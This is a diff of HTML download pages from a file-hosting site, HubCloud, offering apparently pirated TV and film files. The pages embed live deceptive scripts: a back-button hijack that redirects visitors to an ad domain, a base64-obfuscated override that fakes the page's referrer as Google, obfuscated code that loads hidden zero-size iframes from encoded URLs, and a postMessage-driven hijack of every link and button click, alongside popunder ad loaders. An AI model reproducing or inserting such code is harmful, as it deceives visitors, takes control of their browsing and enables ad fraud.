<!--<script type="text/javascript">-->
|
||||
<!-- aclib.runPop({-->
|
||||
<!-- zoneId: '10550070',-->
|
||||
<!-- });-->
|
||||
<!--</script>-->
|
||||
|
||||
<!-- Cloudflare Web Analytics --><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token": "4a22bad849ab4d2da600be878e3c0fc2"}'></script><!-- End Cloudflare Web Analytics -->
|
||||
|
||||
|
|
@ -142,12 +148,17 @@
|
|||
color: #000
|
||||
}
|
||||
</style>
|
||||
<body><center>
|
||||
<body>
|
||||
<script data-cfasync="false" type="text/javascript" id="AdsCoreLoader100892" src="https://sads.adsboosters.xyz/e782f10ef81a2b65f5c2b85518948f4b.js"></script>
|
||||
<script data-cfasync="false" type="text/javascript" id="AdsCoreLoader101001" src="https://sads.adsboosters.xyz/1c76fee9418816ee07f81c9d3386f754.js"></script>
|
||||
<div class="ads-core-ads-100892"></div>
|
||||
<div class="ads-core-ads-101001"></div>
|
||||
<center>
|
||||
<br/>
|
||||
|
||||
|
||||
<div class="header">
|
||||
HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="https://hubcloud.one/drive/admin">Login</a>
|
||||
HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="https://hubcloud.foo/drive/admin">Login</a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="container container-fluid main">
|
||||
|
|
@ -217,7 +228,7 @@ HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="http
|
|||
|
||||
|
||||
|
||||
<a id="download" href="https://gamerxyt.com/hubcloud.php?host=hubcloud&id=bffzqlpqfllfcld&token=ZDdhbnhoS3dXSzlGOGhnN3ErdTUxVGpNRHpBR2lCakE1ZHJUTlcvUTlaTT0=" rel="noopener noreferrer nofollow" class="btn btn-primary h6 p-2"><i class="fas fa-file-download fa-lg"></i> Generate Direct Download Link</a>
|
||||
<a id="download" href="https://gamerxyt.com/hubcloud.php?host=hubcloud&id=bffzqlpqfllfcld&token=ZDdhbnhoS3dXSzlGOGhnN3ErdTUxU1ZQelhidzNibXJ5TXk1eDdydjFJcz0=" rel="noopener noreferrer nofollow" class="btn btn-primary h6 p-2"><i class="fas fa-file-download fa-lg"></i> Generate Direct Download Link</a>
|
||||
|
||||
|
||||
<center>
|
||||
|
|
@ -269,25 +280,35 @@ HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="http
|
|||
</div>
|
||||
<div class="card">
|
||||
<div class="card-body" id="div1">
|
||||
<p onclick="copy_link('div1')">https://hubcloud.one/drive/bffzqlpqfllfcld</p>
|
||||
<p onclick="copy_link('div1')">https://hubcloud.foo/drive/bffzqlpqfllfcld</p>
|
||||
</div>
|
||||
<button class="btn btn-success btn-sm" id="button1" onclick="copy_link('div1')"><i class="fa fa-copy"></i> Copy Link</button>
|
||||
|
||||
<script>
|
||||
// function d(e){document.cookie=e+"=; path=/; SameSite=None; Secure; expires=Thu, 01 Jan 1970 00:00:01 GMT;"}setTimeout(()=>{d(atob('Y2xldmVyLWNvdW50ZXItODk4Nzg='))},2000);
|
||||
// function clsd(){d(atob('Y2xldmVyLWNvdW50ZXItODk4Nzg='))}
|
||||
function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof e == 'undefined'){e=document.getElementById(el).innerText}a=document.createElement("textarea");a.innerHTML=e,document.body.appendChild(a),a.select();document.execCommand("copy");document.body.removeChild(a),swal("Link Copied! : "+e)}function stck(e,t,i){let o="";if(i){let e=new Date;e.setTime(e.getTime()+60*i*1e3),o="; expires="+e.toUTCString()}document.cookie=`${e}=${t||""}${o}; path=/; SameSite=None; Secure`}stck('xla',"s4t",30240);
|
||||
</script>
|
||||
|
||||
<script>
|
||||
|
||||
|
||||
var url = 'https://gamerxyt.com/hubcloud.php?host=hubcloud&id=bffzqlpqfllfcld&token=ZDdhbnhoS3dXSzlGOGhnN3ErdTUxU1ZQelhidzNibXJ5TXk1eDdydjFJcz0=';
|
||||
|
||||
setTimeout(function(){
|
||||
document.querySelector(".loading").classList.add("d-none");
|
||||
document.querySelector(".vd").classList.remove("d-none");
|
||||
if (!document.cookie.split(';').some(item => item.trim().startsWith('xlax='))) {
|
||||
stck('xlax',"s4t",1440);
|
||||
window.location.href = url;
|
||||
}
|
||||
}, 2000);
|
||||
var url = 'https://gamerxyt.com/hubcloud.php?host=hubcloud&id=bffzqlpqfllfcld&token=ZDdhbnhoS3dXSzlGOGhnN3ErdTUxVGpNRHpBR2lCakE1ZHJUTlcvUTlaTT0=';
|
||||
|
||||
|
||||
var download = document.getElementById('download');
|
||||
download.onclick = function() {
|
||||
if (this.classList.contains('disabled')) {
|
||||
event.preventDefault();
|
||||
return;
|
||||
}
|
||||
}
|
||||
window.location.href = url;
|
||||
download.classList.add('disabled');
|
||||
setTimeout(function() {
|
||||
|
|
@ -295,9 +316,9 @@ download.onclick = function() {
|
|||
}, 6000);
|
||||
}
|
||||
</script>
|
||||
<script>
|
||||
function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof e == 'undefined'){e=document.getElementById(el).innerText}a=document.createElement("textarea");a.innerHTML=e,document.body.appendChild(a),a.select();document.execCommand("copy");document.body.removeChild(a),swal("Link Copied! : "+e)}
|
||||
</script>
|
||||
|
||||
|
||||
|
||||
<script>
|
||||
// function sT(e){let t=hashKey(e),r=Date.now();localStorage.setItem(t,r.toString())}function hashKey(e){let t=0;for(let r=0;r<e.length;r++)t=(t<<5)-t+e.charCodeAt(r);t=Math.abs(t);let n="";for(let o=0;o<6;o++)n+="abcdefghijklmnopqrstuvwxyz"[t%26],t=Math.floor(t/26);return n}function is_v(e,t){let r=hashKey(e),n=localStorage.getItem(r);return!!n&&(Date.now()-parseInt(n))/6e4<=t}var s__=!1,observer=null,sc_="a, button",d_=!1;function clsd(){s__=!1,d_=!0,sT("dfdf")}var E_=["aHR0cHM6Ly9wYWlzYXZ5YXBhcmkuY29tL2J1c2luZXNzLw==","aHR0cHM6Ly92aXNoZXNodG9kYXkuY29tL3RlY2hub2xvZ3kv"];function isD(){return!/Mobi|Android/i.test(navigator.userAgent)}let t_=[];for(let e_=0;e_<4 && (true || !d_ && !isD());e_++){let e=E_[Math.floor(Math.random()*E_.length)];if(!t_.includes(e)){var t,r=document.createElement("iframe");if(sT(e),t_.push(e),r.src=atob(e),r.width="0",r.height="0",r.style.display="none",r.referrerPolicy="no-referrer",document.querySelector("body")){console.log("inserted"),document.body.appendChild(r);break}}}function opst(e){if(d_){console.log("closed d_");return}if(!s__){console.log("no s__");return}e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r;s__=!1,document.querySelectorAll(sc_).forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){document.querySelectorAll(sc_).forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let t=JSON.parse(e.data);console.log(t),t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){console.log("Error: ",r)}},!1);
|
||||
</script>
|
||||
|
|
@ -312,6 +333,7 @@ function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof
|
|||
<br><br>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="footer">
|
||||
|
||||
<p>Made with <svg width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-heart-fill" fill="red" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" d="M8 1.314C12.438-3.248 23.534 4.735 8 15-7.534 4.736 3.562-3.248 8 1.314z" /> </svg></p>
|
||||
|
|
|
|||
|
|
@ -2,8 +2,7 @@
|
|||
<head>
|
||||
<title>Dexter.Original.Sin.S01E01.2160p.SKST.WEB-DL.H.265.DDP5.1-Tyrell.mkv</title>
|
||||
<meta charset="utf-8">
|
||||
<script async src="https://arc.io/widget.min.js#cmedRMLe"></script>
|
||||
<meta name="referrer" content="no-referrer">
|
||||
<meta name="referrer" content="no-referrer"/>
|
||||
|
||||
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous">
|
||||
|
||||
|
|
@ -18,7 +17,14 @@
|
|||
<meta name="googlebot" content="noindex,nofollow">
|
||||
|
||||
|
||||
<script data-cfasync="false" src="//d2hdyssxn6lpj2.cloudfront.net/?sydhd=1173967"></script>
|
||||
<script data-cfasync="false" src="//d33f51dyacx7bd.cloudfront.net/?aydfd=1015073"></script>
|
||||
|
||||
<!--<script id="aclib" type="text/javascript" src="//acscdn.com/script/aclib.js"></script>-->
|
||||
<!--<script type="text/javascript">-->
|
||||
<!-- aclib.runPop({-->
|
||||
<!-- zoneId: '10550070',-->
|
||||
<!-- });-->
|
||||
<!--</script>-->
|
||||
|
||||
<!-- Cloudflare Web Analytics --><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token": "4a22bad849ab4d2da600be878e3c0fc2"}'></script><!-- End Cloudflare Web Analytics -->
|
||||
|
||||
|
|
@ -142,12 +148,17 @@
|
|||
color: #000
|
||||
}
|
||||
</style>
|
||||
<body><center>
|
||||
<body>
|
||||
<script data-cfasync="false" type="text/javascript" id="AdsCoreLoader100892" src="https://sads.adsboosters.xyz/e782f10ef81a2b65f5c2b85518948f4b.js"></script>
|
||||
<script data-cfasync="false" type="text/javascript" id="AdsCoreLoader101001" src="https://sads.adsboosters.xyz/1c76fee9418816ee07f81c9d3386f754.js"></script>
|
||||
<div class="ads-core-ads-100892"></div>
|
||||
<div class="ads-core-ads-101001"></div>
|
||||
<center>
|
||||
<br/>
|
||||
|
||||
|
||||
<div class="header">
|
||||
HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="https://hubcloud.one/drive/admin">Login</a>
|
||||
HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="https://hubcloud.foo/drive/admin">Login</a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="container container-fluid main">
|
||||
|
|
@ -217,7 +228,7 @@ HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="http
|
|||
|
||||
|
||||
|
||||
<a id="download" href="https://gamerxyt.com/hubcloud.php?host=hubcloud&id=idt1evqfuviqiei&token=RUhXL2kvWnI3MmtFTTlyc1VGY2JSUHJiRlcvSTBwOG9HNWFOa2tiMWVxMD0=" rel="noopener noreferrer nofollow" class="btn btn-primary h6 p-2"><i class="fas fa-file-download fa-lg"></i> Generate Direct Download Link</a>
|
||||
<a id="download" href="https://gamerxyt.com/hubcloud.php?host=hubcloud&id=idt1evqfuviqiei&token=RUhXL2kvWnI3MmtFTTlyc1VGY2JSSFJidWE2bjFma1JRSWNEZmVXcys4VT0=" rel="noopener noreferrer nofollow" class="btn btn-primary h6 p-2"><i class="fas fa-file-download fa-lg"></i> Generate Direct Download Link</a>
|
||||
|
||||
|
||||
<center>
|
||||
|
|
@ -269,25 +280,35 @@ HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="http
|
|||
</div>
|
||||
<div class="card">
|
||||
<div class="card-body" id="div1">
|
||||
<p onclick="copy_link('div1')">https://hubcloud.one/drive/idt1evqfuviqiei</p>
|
||||
<p onclick="copy_link('div1')">https://hubcloud.foo/drive/idt1evqfuviqiei</p>
|
||||
</div>
|
||||
<button class="btn btn-success btn-sm" id="button1" onclick="copy_link('div1')"><i class="fa fa-copy"></i> Copy Link</button>
|
||||
|
||||
<script>
|
||||
// function d(e){document.cookie=e+"=; path=/; SameSite=None; Secure; expires=Thu, 01 Jan 1970 00:00:01 GMT;"}setTimeout(()=>{d(atob('Y2xldmVyLWNvdW50ZXItODk4Nzg='))},2000);
|
||||
// function clsd(){d(atob('Y2xldmVyLWNvdW50ZXItODk4Nzg='))}
|
||||
function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof e == 'undefined'){e=document.getElementById(el).innerText}a=document.createElement("textarea");a.innerHTML=e,document.body.appendChild(a),a.select();document.execCommand("copy");document.body.removeChild(a),swal("Link Copied! : "+e)}function stck(e,t,i){let o="";if(i){let e=new Date;e.setTime(e.getTime()+60*i*1e3),o="; expires="+e.toUTCString()}document.cookie=`${e}=${t||""}${o}; path=/; SameSite=None; Secure`}stck('xla',"s4t",30240);
|
||||
</script>
|
||||
|
||||
<script>
|
||||
|
||||
|
||||
var url = 'https://gamerxyt.com/hubcloud.php?host=hubcloud&id=idt1evqfuviqiei&token=RUhXL2kvWnI3MmtFTTlyc1VGY2JSSFJidWE2bjFma1JRSWNEZmVXcys4VT0=';
|
||||
|
||||
setTimeout(function(){
|
||||
document.querySelector(".loading").classList.add("d-none");
|
||||
document.querySelector(".vd").classList.remove("d-none");
|
||||
if (!document.cookie.split(';').some(item => item.trim().startsWith('xlax='))) {
|
||||
stck('xlax',"s4t",1440);
|
||||
window.location.href = url;
|
||||
}
|
||||
}, 2000);
|
||||
var url = 'https://gamerxyt.com/hubcloud.php?host=hubcloud&id=idt1evqfuviqiei&token=RUhXL2kvWnI3MmtFTTlyc1VGY2JSUHJiRlcvSTBwOG9HNWFOa2tiMWVxMD0=';
|
||||
|
||||
|
||||
var download = document.getElementById('download');
|
||||
download.onclick = function() {
|
||||
if (this.classList.contains('disabled')) {
|
||||
event.preventDefault();
|
||||
return;
|
||||
}
|
||||
}
|
||||
window.location.href = url;
|
||||
download.classList.add('disabled');
|
||||
setTimeout(function() {
|
||||
|
|
@ -295,9 +316,9 @@ download.onclick = function() {
|
|||
}, 6000);
|
||||
}
|
||||
</script>
|
||||
<script>
|
||||
function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof e == 'undefined'){e=document.getElementById(el).innerText}a=document.createElement("textarea");a.innerHTML=e,document.body.appendChild(a),a.select();document.execCommand("copy");document.body.removeChild(a),swal("Link Copied! : "+e)}
|
||||
</script>
|
||||
|
||||
|
||||
|
||||
<script>
|
||||
// function sT(e){let t=hashKey(e),r=Date.now();localStorage.setItem(t,r.toString())}function hashKey(e){let t=0;for(let r=0;r<e.length;r++)t=(t<<5)-t+e.charCodeAt(r);t=Math.abs(t);let n="";for(let o=0;o<6;o++)n+="abcdefghijklmnopqrstuvwxyz"[t%26],t=Math.floor(t/26);return n}function is_v(e,t){let r=hashKey(e),n=localStorage.getItem(r);return!!n&&(Date.now()-parseInt(n))/6e4<=t}var s__=!1,observer=null,sc_="a, button",d_=!1;function clsd(){s__=!1,d_=!0,sT("dfdf")}var E_=["aHR0cHM6Ly9wYWlzYXZ5YXBhcmkuY29tL2J1c2luZXNzLw==","aHR0cHM6Ly92aXNoZXNodG9kYXkuY29tL3RlY2hub2xvZ3kv"];function isD(){return!/Mobi|Android/i.test(navigator.userAgent)}let t_=[];for(let e_=0;e_<4 && (true || !d_ && !isD());e_++){let e=E_[Math.floor(Math.random()*E_.length)];if(!t_.includes(e)){var t,r=document.createElement("iframe");if(sT(e),t_.push(e),r.src=atob(e),r.width="0",r.height="0",r.style.display="none",r.referrerPolicy="no-referrer",document.querySelector("body")){console.log("inserted"),document.body.appendChild(r);break}}}function opst(e){if(d_){console.log("closed d_");return}if(!s__){console.log("no s__");return}e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r;s__=!1,document.querySelectorAll(sc_).forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){document.querySelectorAll(sc_).forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let t=JSON.parse(e.data);console.log(t),t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){console.log("Error: ",r)}},!1);
|
||||
</script>
|
||||
|
|
@ -312,6 +333,7 @@ function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof
|
|||
<br><br>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="footer">
|
||||
|
||||
<p>Made with <svg width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-heart-fill" fill="red" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" d="M8 1.314C12.438-3.248 23.534 4.735 8 15-7.534 4.736 3.562-3.248 8 1.314z" /> </svg></p>
|
||||
|
|
|
|||
|
|
@ -2,8 +2,7 @@
|
|||
<head>
|
||||
<title>Dark.S03E08.The.Paradise.1080p.NF.WEB-DL.English.DDP5.1-German.DDP5.1.H.264-4kHdHub.Com.mkv</title>
|
||||
<meta charset="utf-8">
|
||||
<script async src="https://arc.io/widget.min.js#cmedRMLe"></script>
|
||||
<meta name="referrer" content="no-referrer">
|
||||
<meta name="referrer" content="no-referrer"/>
|
||||
|
||||
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous">
|
||||
|
||||
|
|
@ -18,7 +17,14 @@
|
|||
<meta name="googlebot" content="noindex,nofollow">
|
||||
|
||||
|
||||
<script data-cfasync="false" src="//d2hdyssxn6lpj2.cloudfront.net/?sydhd=1173967"></script>
|
||||
<script data-cfasync="false" src="//d33f51dyacx7bd.cloudfront.net/?aydfd=1015073"></script>
|
||||
|
||||
<!--<script id="aclib" type="text/javascript" src="//acscdn.com/script/aclib.js"></script>-->
|
||||
<!--<script type="text/javascript">-->
|
||||
<!-- aclib.runPop({-->
|
||||
<!-- zoneId: '10550070',-->
|
||||
<!-- });-->
|
||||
<!--</script>-->
|
||||
|
||||
<!-- Cloudflare Web Analytics --><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token": "4a22bad849ab4d2da600be878e3c0fc2"}'></script><!-- End Cloudflare Web Analytics -->
|
||||
|
||||
|
|
@ -142,12 +148,17 @@
|
|||
color: #000
|
||||
}
|
||||
</style>
|
||||
<body><center>
|
||||
<body>
|
||||
<script data-cfasync="false" type="text/javascript" id="AdsCoreLoader100892" src="https://sads.adsboosters.xyz/e782f10ef81a2b65f5c2b85518948f4b.js"></script>
|
||||
<script data-cfasync="false" type="text/javascript" id="AdsCoreLoader101001" src="https://sads.adsboosters.xyz/1c76fee9418816ee07f81c9d3386f754.js"></script>
|
||||
<div class="ads-core-ads-100892"></div>
|
||||
<div class="ads-core-ads-101001"></div>
|
||||
<center>
|
||||
<br/>
|
||||
|
||||
|
||||
<div class="header">
|
||||
HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="https://hubcloud.one/drive/admin">Login</a>
|
||||
HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="https://hubcloud.foo/drive/admin">Login</a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="container container-fluid main">
|
||||
|
|
@ -217,7 +228,7 @@ HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="http
|
|||
|
||||
|
||||
|
||||
<a id="download" href="https://gamerxyt.com/hubcloud.php?host=hubcloud&id=nknlofk8snfnknh&token=eWJLS25YL0hUektLS0k0a3htWVJzOEFuVnVvTHVEKzJ4eCtPUFBuUkRQRT0=" rel="noopener noreferrer nofollow" class="btn btn-primary h6 p-2"><i class="fas fa-file-download fa-lg"></i> Generate Direct Download Link</a>
|
||||
<a id="download" href="https://gamerxyt.com/hubcloud.php?host=hubcloud&id=nknlofk8snfnknh&token=eWJLS25YL0hUektLS0k0a3htWVJzMGxsdGd3eERlOWs1Z1AydDFjRUp4cz0=" rel="noopener noreferrer nofollow" class="btn btn-primary h6 p-2"><i class="fas fa-file-download fa-lg"></i> Generate Direct Download Link</a>
|
||||
|
||||
|
||||
<center>
|
||||
|
|
@ -228,7 +239,6 @@ HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="http
|
|||
|
||||
|
||||
|
||||
<a href="https://www-google-com.cdn.ampproject.org/c/s/bloggingvector.shop/foo/aHR0cHM6Ly93d3ctZ29vZ2xlLWNvbS5jZG4uYW1wcHJvamVjdC5vcmcvYy9zL25ld3NvbmdzLmNvLmluL2dvP2lkPTNPZnAzZHl1b3FUaHp1RFkzTi9LNGFIWjNOQ2p1K3JQek9EaTZ0SGgyTlhrNGFqbjU5YmYzYkhEeTltdXlNZTd3OHJmcEtqSG1zYkN3cDIvcXNxOTFiL0t1S3FpeXFianhNZlV2cmpKMjlXNjJPQ2htc2pMNWJ6T3ljbTZ3Y0hZdWN1eTRMRT0=" target="_blank" rel="noopener noreferrer nofollow" class="btn btn-primary h5 p-2" id="tgbtn" style="margin-top: 11px;"><i class="fab fa-telegram fa-lg"></i></i> Download From Telegram</a>
|
||||
|
||||
|
||||
</div>
|
||||
|
|
@ -270,25 +280,35 @@ HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="http
|
|||
</div>
|
||||
<div class="card">
|
||||
<div class="card-body" id="div1">
|
||||
<p onclick="copy_link('div1')">https://hubcloud.one/drive/nknlofk8snfnknh</p>
|
||||
<p onclick="copy_link('div1')">https://hubcloud.foo/drive/nknlofk8snfnknh</p>
|
||||
</div>
|
||||
<button class="btn btn-success btn-sm" id="button1" onclick="copy_link('div1')"><i class="fa fa-copy"></i> Copy Link</button>
|
||||
|
||||
<script>
|
||||
// function d(e){document.cookie=e+"=; path=/; SameSite=None; Secure; expires=Thu, 01 Jan 1970 00:00:01 GMT;"}setTimeout(()=>{d(atob('Y2xldmVyLWNvdW50ZXItODk4Nzg='))},2000);
|
||||
// function clsd(){d(atob('Y2xldmVyLWNvdW50ZXItODk4Nzg='))}
|
||||
function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof e == 'undefined'){e=document.getElementById(el).innerText}a=document.createElement("textarea");a.innerHTML=e,document.body.appendChild(a),a.select();document.execCommand("copy");document.body.removeChild(a),swal("Link Copied! : "+e)}function stck(e,t,i){let o="";if(i){let e=new Date;e.setTime(e.getTime()+60*i*1e3),o="; expires="+e.toUTCString()}document.cookie=`${e}=${t||""}${o}; path=/; SameSite=None; Secure`}stck('xla',"s4t",30240);
|
||||
</script>
|
||||
|
||||
<script>
|
||||
|
||||
|
||||
var url = 'https://gamerxyt.com/hubcloud.php?host=hubcloud&id=nknlofk8snfnknh&token=eWJLS25YL0hUektLS0k0a3htWVJzMGxsdGd3eERlOWs1Z1AydDFjRUp4cz0=';
|
||||
|
||||
setTimeout(function(){
|
||||
document.querySelector(".loading").classList.add("d-none");
|
||||
document.querySelector(".vd").classList.remove("d-none");
|
||||
if (!document.cookie.split(';').some(item => item.trim().startsWith('xlax='))) {
|
||||
stck('xlax',"s4t",1440);
|
||||
window.location.href = url;
|
||||
}
|
||||
}, 2000);
|
||||
var url = 'https://gamerxyt.com/hubcloud.php?host=hubcloud&id=nknlofk8snfnknh&token=eWJLS25YL0hUektLS0k0a3htWVJzOEFuVnVvTHVEKzJ4eCtPUFBuUkRQRT0=';
|
||||
|
||||
|
||||
var download = document.getElementById('download');
|
||||
download.onclick = function() {
|
||||
if (this.classList.contains('disabled')) {
|
||||
event.preventDefault();
|
||||
return;
|
||||
}
|
||||
}
|
||||
window.location.href = url;
|
||||
download.classList.add('disabled');
|
||||
setTimeout(function() {
|
||||
|
|
@ -296,9 +316,9 @@ download.onclick = function() {
|
|||
}, 6000);
|
||||
}
|
||||
</script>
|
||||
<script>
|
||||
function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof e == 'undefined'){e=document.getElementById(el).innerText}a=document.createElement("textarea");a.innerHTML=e,document.body.appendChild(a),a.select();document.execCommand("copy");document.body.removeChild(a),swal("Link Copied! : "+e)}
|
||||
</script>
|
||||
|
||||
|
||||
|
||||
<script>
|
||||
// function sT(e){let t=hashKey(e),r=Date.now();localStorage.setItem(t,r.toString())}function hashKey(e){let t=0;for(let r=0;r<e.length;r++)t=(t<<5)-t+e.charCodeAt(r);t=Math.abs(t);let n="";for(let o=0;o<6;o++)n+="abcdefghijklmnopqrstuvwxyz"[t%26],t=Math.floor(t/26);return n}function is_v(e,t){let r=hashKey(e),n=localStorage.getItem(r);return!!n&&(Date.now()-parseInt(n))/6e4<=t}var s__=!1,observer=null,sc_="a, button",d_=!1;function clsd(){s__=!1,d_=!0,sT("dfdf")}var E_=["aHR0cHM6Ly9wYWlzYXZ5YXBhcmkuY29tL2J1c2luZXNzLw==","aHR0cHM6Ly92aXNoZXNodG9kYXkuY29tL3RlY2hub2xvZ3kv"];function isD(){return!/Mobi|Android/i.test(navigator.userAgent)}let t_=[];for(let e_=0;e_<4 && (true || !d_ && !isD());e_++){let e=E_[Math.floor(Math.random()*E_.length)];if(!t_.includes(e)){var t,r=document.createElement("iframe");if(sT(e),t_.push(e),r.src=atob(e),r.width="0",r.height="0",r.style.display="none",r.referrerPolicy="no-referrer",document.querySelector("body")){console.log("inserted"),document.body.appendChild(r);break}}}function opst(e){if(d_){console.log("closed d_");return}if(!s__){console.log("no s__");return}e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r;s__=!1,document.querySelectorAll(sc_).forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){document.querySelectorAll(sc_).forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let t=JSON.parse(e.data);console.log(t),t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){console.log("Error: ",r)}},!1);
|
||||
</script>
|
||||
|
|
@ -313,6 +333,7 @@ function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof
|
|||
<br><br>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="footer">
|
||||
|
||||
<p>Made with <svg width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-heart-fill" fill="red" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" d="M8 1.314C12.438-3.248 23.534 4.735 8 15-7.534 4.736 3.562-3.248 8 1.314z" /> </svg></p>
|
||||
|
|
|
|||
|
|
@ -0,0 +1,373 @@
|
|||
<script id="aclib" type="text/javascript" src="//acscdn.com/script/aclib.js"></script>
|
||||
<script type="text/javascript">
|
||||
aclib.runPop({
|
||||
zoneId: '10553222',
|
||||
});
|
||||
</script>
|
||||
|
||||
<!--<script data-cfasync="false" src="//dl4d3y1ajyv3q.cloudfront.net/?aydld=1220853"></script>-->
|
||||
<script>
|
||||
document.addEventListener("DOMContentLoaded", function() {
|
||||
history.pushState(null, null, location.href);
|
||||
window.onpopstate = function () {
|
||||
history.go(1);
|
||||
window.location.href = 'https://push-me-once.com/go/1272663';
|
||||
};
|
||||
});Object.defineProperty(document,atob('cmVmZXJyZXI='),{get:function(){return atob('aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS8=')}});
|
||||
</script>
|
||||
<html>
|
||||
<head>
|
||||
<title>Avatar (2009) Extended Collector's Edition IMAX 2160p UHD BluRay REMUX DV HDR 10bit HEVC [Hindi DDP 5.1 + English DTS-HD MA 5.1] x265 (LM-LUMiX) 4KHDHUB.[Com].mkv</title>
|
||||
<meta charset="utf-8">
|
||||
<script async src="https://arc.io/widget.min.js#cmedRMLe"></script>
|
||||
<meta name="referrer" content="no-referrer">
|
||||
|
||||
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous">
|
||||
|
||||
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.0/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-KyZXEAg3QhqLMpG8r+8fhAXLRk2vvoC2f3B09zVXn8CA5QIVfZOJ3BCsw2P0p/We" crossorigin="anonymous">
|
||||
|
||||
<link href="https://fonts.googleapis.com/css?family=Nunito:200,200i,300,300i,400,400i,600,600i,700,700i,800,800i,900,900i" rel="stylesheet">
|
||||
|
||||
<script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
|
||||
|
||||
<meta name=viewport content="width=device-width, initial-scale=1">
|
||||
<meta name="robots" content="noindex, nofollow">
|
||||
<meta name="googlebot" content="noindex,nofollow">
|
||||
|
||||
|
||||
|
||||
</head>
|
||||
<style>
|
||||
.icon{width:48px;height:48px}.card-header{padding:.75rem 1.25rem;margin-bottom:0;background-color:#f8f9fc;border-bottom:1px solid #e3e6f0}.bg-primary{background-color:#4e73df!important}body{font-family:"Nunito",-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji"!important;font-weight:14px}.font-weight-bold{font-weight:700!important}.text-primary{color:#007bff!important;padding:.75rem 1.25rem;background-color:#f8f9fc;border-bottom:1px solid #e3e6f0;position:relative;display:flex;flex-direction:column;min-width:0;word-wrap:break-word;border:1px solid #e3e6f0;border-radius:.35rem;line-break:auto;word-break:break-all;white-space:normal;text-overflow:ellipsis;overflow:hidden}.font-weight-bold{font-weight:700!important}.m-0{margin:auto!important;width:100%}h4,.h4{font-size:1.4rem}.card-body{flex:1 1 auto;padding:1.25rem}.nav-tabs{border-bottom:1px solid #dddfeb}.nav{display:flex;flex-wrap:wrap;padding-left:0;margin-bottom:0;list-style:none}.nav-tabs .nav-item{margin-bottom:-1px}.nav-tabs .nav-link.active,.nav-tabs .nav-item.show .nav-link{color:#6e707e;background-color:#fff;border-color:#007bff #dddfeb #fff;font-weight:600}.nav-tabs .nav-link{border:1px solid 